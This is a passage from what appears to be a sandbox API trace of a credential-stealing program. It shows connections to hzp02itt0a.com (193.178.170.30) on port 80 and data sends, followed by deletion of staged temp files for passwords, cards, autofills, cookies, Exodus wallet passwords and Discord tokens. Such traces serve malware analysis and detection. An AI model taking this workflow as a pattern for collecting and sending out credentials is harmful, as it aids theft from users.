(hEvent=0xbc) returned 1 [0172.941] ConnectEx (in: s=0x1d8, name=0xc000310f2c*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc0003325e8 | out: lpdwBytesSent=0x0) returned 0 [0172.947] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0173.459] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0173.760] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0174.364] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0174.364] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x7501, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 1 [0174.459] WSAGetOverlappedResult (in: s=0x1e4, lpOverlapped=0xc000066868, lpcbTransfer=0x2844f1e0, fWait=0, lpdwFlags=0x2844f1ec | out: lpcbTransfer=0x2844f1e0, lpdwFlags=0x2844f1ec) returned 1 [0174.459] SetEvent (hEvent=0xe8) returned 1 [0174.459] setsockopt (s=0x1e4, level=65535, optname=28688, optval="ä\x01", optlen=8) returned 0 [0174.459] SetEvent (hEvent=0xbc) returned 1 [0174.460] getsockname (in: s=0x1e4, name=0xc0000b0fac, namelen=0xc0000b0fa8 | out: name=0xc0000b0fac*(sa_family=2, sin_port=0xc00c, sin_addr="192.168.0.96"), namelen=0xc0000b0fa8) returned 0 [0174.460] getpeername (in: s=0x1e4, name=0xc0000b0fac, namelen=0xc0000b0fa8 | out: name=0xc0000b0fac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc0000b0fa8) returned 0 [0174.460] setsockopt (s=0x1e4, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0174.461] setsockopt (s=0x1e4, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0174.461] WSAIoctl (in: s=0x1e4, dwIoControlCode=0x98000004, lpvInBuffer=0xc0000b11ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0000b11d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0000b11d4, lpOverlapped=0x0) returned 0 [0174.461] VirtualAlloc (lpAddress=0xc00037e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00037e000 [0174.462] WSARecv (in: s=0x1e4, lpBuffers=0xc0000667d8, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc0000667c8, lpFlags=0xc000066848*=0x0, lpOverlapped=0xc000066798, lpCompletionRoutine=0x0 | out: lpBuffers=0xc0000667d8*=((len=0x1000, buf=0xc00035b000*)), lpNumberOfBytesRecvd=0xc0000667c8*=0x0, lpFlags=0xc000066848*=0x0, lpOverlapped=0xc000066798) returned 0 [0174.463] WSASend (in: s=0x1e4, lpBuffers=0xc0000668a8*=((len=0x152, buf=0xc00037e000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000066898, dwFlags=0x0, lpOverlapped=0xc000066868, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000066898*=0x152, lpOverlapped=0xc000066868) returned 0 [0174.463] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0174.463] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x15482, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 1 [0174.516] WSAGetOverlappedResult (in: s=0x1e4, lpOverlapped=0xc000066798, lpcbTransfer=0x2844f1e0, fWait=0, lpdwFlags=0x2844f1ec | out: lpcbTransfer=0x2844f1e0, lpdwFlags=0x2844f1ec) returned 1 [0174.516] SetEvent (hEvent=0xbc) returned 1 [0174.516] SetEvent (hEvent=0xe8) returned 1 [0174.516] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\bookmarks.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bookmarks.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea80 | out: lpFileInformation=0xc00019ea80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0174.516] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\bookmarks.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bookmarks.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0174.517] VirtualAlloc (lpAddress=0xc00028a000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00028a000 [0174.518] GetAddrInfoW (in: pNodeName="hzp02itt0a.com", pServiceName=0x0, pHints=0xc00028ff40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc00028fe78 | out: ppResult=0xc00028fe78*=0x1db6380*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db63c0*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) returned 0 [0174.524] FreeAddrInfoW (pAddrInfo=0x1db6380*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db63c0*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) [0174.524] SetEvent (hEvent=0xa0) returned 1 [0174.524] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1e8 [0174.525] CreateIoCompletionPort (FileHandle=0x1e8, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0174.525] SetFileCompletionNotificationModes (FileHandle=0x1e8, Flags=0x3) returned 1 [0174.525] bind (s=0x1e8, addr=0xc000012c0c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0174.525] ConnectEx (in: s=0x1e8, name=0xc000012bec*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc000066ae8 | out: lpdwBytesSent=0x0) returned 0 [0174.526] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0174.720] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0174.795] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0174.842] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0174.842] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x7530, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 1 [0174.897] WSAGetOverlappedResult (in: s=0x1f8, lpOverlapped=0xc000066fe8, lpcbTransfer=0x2844f1e0, fWait=0, lpdwFlags=0x2844f1ec | out: lpcbTransfer=0x2844f1e0, lpdwFlags=0x2844f1ec) returned 1 [0174.897] SetEvent (hEvent=0xe8) returned 1 [0174.897] setsockopt (s=0x1f8, level=65535, optname=28688, optval="ø\x01", optlen=8) returned 0 [0174.897] SetEvent (hEvent=0xbc) returned 1 [0174.898] getsockname (in: s=0x1f8, name=0xc00036efac, namelen=0xc00036efa8 | out: name=0xc00036efac*(sa_family=2, sin_port=0xc00f, sin_addr="192.168.0.96"), namelen=0xc00036efa8) returned 0 [0174.898] getpeername (in: s=0x1f8, name=0xc00036efac, namelen=0xc00036efa8 | out: name=0xc00036efac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc00036efa8) returned 0 [0174.898] setsockopt (s=0x1f8, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0174.899] setsockopt (s=0x1f8, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0174.899] WSAIoctl (in: s=0x1f8, dwIoControlCode=0x98000004, lpvInBuffer=0xc00036f1ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc00036f1d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc00036f1d4, lpOverlapped=0x0) returned 0 [0174.899] VirtualAlloc (lpAddress=0xc000384000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000384000 [0174.926] WSARecv (in: s=0x1f8, lpBuffers=0xc000066f58, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000066f48, lpFlags=0xc000066fc8*=0x0, lpOverlapped=0xc000066f18, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000066f58*=((len=0x1000, buf=0xc000383000*)), lpNumberOfBytesRecvd=0xc000066f48*=0x0, lpFlags=0xc000066fc8*=0x0, lpOverlapped=0xc000066f18) returned 0 [0174.929] WSASend (in: s=0x1f8, lpBuffers=0xc000067028*=((len=0x157, buf=0xc000384000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000067018, dwFlags=0x0, lpOverlapped=0xc000066fe8, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000067018*=0x157, lpOverlapped=0xc000066fe8) returned 0 [0174.929] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0174.929] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x152c6, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 1 [0174.979] WSAGetOverlappedResult (in: s=0x1f8, lpOverlapped=0xc000066f18, lpcbTransfer=0x2844f1e0, fWait=0, lpdwFlags=0x2844f1ec | out: lpcbTransfer=0x2844f1e0, lpdwFlags=0x2844f1ec) returned 1 [0174.980] SetEvent (hEvent=0xbc) returned 1 [0174.980] SetEvent (hEvent=0xe8) returned 1 [0174.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\exodus-passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\exodus-passwords.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea80 | out: lpFileInformation=0xc00019ea80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0174.980] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\exodus-passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\exodus-passwords.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0174.981] VirtualAlloc (lpAddress=0xc0002a4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a4000 [0174.982] GetAddrInfoW (in: pNodeName="hzp02itt0a.com", pServiceName=0x0, pHints=0xc0002a3f40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc0002a3e78 | out: ppResult=0xc0002a3e78*=0x1db6440*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6480*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) returned 0 [0174.991] FreeAddrInfoW (pAddrInfo=0x1db6440*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6480*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) [0174.992] SetEvent (hEvent=0xa0) returned 1 [0174.992] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1fc [0174.992] CreateIoCompletionPort (FileHandle=0x1fc, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0174.993] SetFileCompletionNotificationModes (FileHandle=0x1fc, Flags=0x3) returned 1 [0174.993] bind (s=0x1fc, addr=0xc0000131ac*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0174.993] ConnectEx (in: s=0x1fc, name=0xc00001318c*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc000067268 | out: lpdwBytesSent=0x0) returned 0 [0174.994] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0175.161] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0175.251] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xffffffff) returned 0x0 [0175.264] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0175.264] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x1518a, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 1 [0176.296] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0176.296] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x7528, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 1 [0176.349] WSAGetOverlappedResult (in: s=0x1d4, lpOverlapped=0xc0002f0368, lpcbTransfer=0x2844f1e0, fWait=0, lpdwFlags=0x2844f1ec | out: lpcbTransfer=0x2844f1e0, lpdwFlags=0x2844f1ec) returned 1 [0176.349] SetEvent (hEvent=0xe8) returned 1 [0176.349] setsockopt (s=0x1d4, level=65535, optname=28688, optval="Ô\x01", optlen=8) returned 0 [0176.349] SetEvent (hEvent=0xbc) returned 1 [0176.349] getsockname (in: s=0x1d4, name=0xc0004acfac, namelen=0xc0004acfa8 | out: name=0xc0004acfac*(sa_family=2, sin_port=0xc012, sin_addr="192.168.0.96"), namelen=0xc0004acfa8) returned 0 [0176.350] getpeername (in: s=0x1d4, name=0xc0004acfac, namelen=0xc0004acfa8 | out: name=0xc0004acfac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc0004acfa8) returned 0 [0176.350] setsockopt (s=0x1d4, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0176.350] setsockopt (s=0x1d4, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0176.350] WSAIoctl (in: s=0x1d4, dwIoControlCode=0x98000004, lpvInBuffer=0xc0004ad1ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0004ad1d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0004ad1d4, lpOverlapped=0x0) returned 0 [0176.351] VirtualAlloc (lpAddress=0xc00038a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00038a000 [0176.351] WSARecv (in: s=0x1d4, lpBuffers=0xc0002f02d8, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc0002f02c8, lpFlags=0xc0002f0348*=0x0, lpOverlapped=0xc0002f0298, lpCompletionRoutine=0x0 | out: lpBuffers=0xc0002f02d8*=((len=0x1000, buf=0xc000389000*)), lpNumberOfBytesRecvd=0xc0002f02c8*=0x0, lpFlags=0xc0002f0348*=0x0, lpOverlapped=0xc0002f0298) returned 0 [0176.352] WSASend (in: s=0x1d4, lpBuffers=0xc0002f03a8*=((len=0x504, buf=0xc00038a000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc0002f0398, dwFlags=0x0, lpOverlapped=0xc0002f0368, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc0002f0398*=0x504, lpOverlapped=0xc0002f0368) returned 0 [0176.363] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 0 [0176.363] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x2844f210, ulCount=0x10, ulNumEntriesRemoved=0x2844f1e4, dwMilliseconds=0x14fd7, fAlertable=0 | out: lpCompletionPortEntries=0x2844f210, ulNumEntriesRemoved=0x2844f1e4) returned 1 [0176.644] WSAGetOverlappedResult (in: s=0x1d4, lpOverlapped=0xc0002f0298, lpcbTransfer=0x2844f1e0, fWait=0, lpdwFlags=0x2844f1ec | out: lpcbTransfer=0x2844f1e0, lpdwFlags=0x2844f1ec) returned 1 [0176.645] SetEvent (hEvent=0xbc) returned 1 [0176.645] SetEvent (hEvent=0xe8) returned 1 [0176.645] GetProcAddress (hModule=0x77660000, lpProcName="DeleteFileW") returned 0x7766a230 [0176.645] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\passwords.txt")) returned 0 [0176.646] GetProcAddress (hModule=0x77660000, lpProcName="RemoveDirectoryW") returned 0x776ac180 [0176.646] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\passwords.txt")) returned 0 [0176.647] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x409, lpBuffer=0xc00019f550, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0176.647] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xc000057a00*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0xc00019f608, lpReserved=0x0 | out: lpBuffer=0xc000057a00*, lpNumberOfCharsWritten=0xc00019f608*=0x66) returned 1 [0176.652] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\passwords.txt")) returned 0 [0176.652] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\passwords.txt")) returned 0 [0176.653] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\bookmarks.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bookmarks.txt")) returned 0 [0176.653] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\bookmarks.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bookmarks.txt")) returned 0 [0176.653] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x409, lpBuffer=0xc00019f550, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0176.653] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xc000057c70*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0xc00019f608, lpReserved=0x0 | out: lpBuffer=0xc000057c70*, lpNumberOfCharsWritten=0xc00019f608*=0x66) returned 1 [0176.655] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\bookmarks.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bookmarks.txt")) returned 0 [0176.655] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\bookmarks.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bookmarks.txt")) returned 0 [0176.656] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\cards.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cards.txt")) returned 0 [0176.656] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\cards.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cards.txt")) returned 0 [0176.656] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x409, lpBuffer=0xc00019f550, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0176.656] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xc000057e10*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0xc00019f608, lpReserved=0x0 | out: lpBuffer=0xc000057e10*, lpNumberOfCharsWritten=0xc00019f608*=0x62) returned 1 [0176.657] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\cards.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cards.txt")) returned 0 [0176.657] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\cards.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cards.txt")) returned 0 [0176.657] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\autofills.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\autofills.txt")) returned 0 [0176.658] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\autofills.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\autofills.txt")) returned 0 [0176.658] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x409, lpBuffer=0xc00019f550, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0176.658] VirtualAlloc (lpAddress=0xc0004ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ae000 [0176.659] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xc0004ae000*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0xc00019f608, lpReserved=0x0 | out: lpBuffer=0xc0004ae000*, lpNumberOfCharsWritten=0xc00019f608*=0x66) returned 1 [0176.660] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\autofills.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\autofills.txt")) returned 0 [0176.660] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\autofills.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\autofills.txt")) returned 0 [0176.660] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\exodus-passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\exodus-passwords.txt")) returned 0 [0176.661] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\exodus-passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\exodus-passwords.txt")) returned 0 [0176.661] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x409, lpBuffer=0xc00019f550, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0176.661] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xc000018700*, nNumberOfCharsToWrite=0x6d, lpNumberOfCharsWritten=0xc00019f608, lpReserved=0x0 | out: lpBuffer=0xc000018700*, lpNumberOfCharsWritten=0xc00019f608*=0x6d) returned 1 [0176.662] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\exodus-passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\exodus-passwords.txt")) returned 0 [0176.662] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\exodus-passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\exodus-passwords.txt")) returned 0 [0176.662] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\system.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\system.txt")) returned 1 [0176.664] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\Cookies" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cookies")) returned 0 [0176.664] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\Cookies" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cookies")) returned 1 [0176.665] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\discord-tokens.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\discord-tokens.txt")) returned 0 [0176.666] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\discord-tokens.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\discord-tokens.txt")) returned 0 [0176.666] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x409, lpBuffer=0xc00019f550, nSize=0x12c, Arguments=0x0 | out: lpBuffer="The system cannot find the file specified.\r\n") returned 0x2c [0176.666] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xc0000188c0*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0xc00019f608, lpReserved=0x0 | out: lpBuffer=0xc0000188c0*, lpNumberOfCharsWritten=0xc00019f608*=0x6b) returned 1 [0176.667] DeleteFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\discord-tokens.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\discord-tokens.txt")) returned 0 [0176.667] RemoveDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\discord-tokens.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\discord-tokens.txt")) returned 0 [0176.688] RtlExitUserProcess (ExitCode=0x0) [0176.814] RtlRemoveVectoredExceptionHandler () returned 0x1 Thread: id = 6 os_tid = 0xfa0 [0107.412] free (_Block=0x4a5ae0) [0107.412] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, 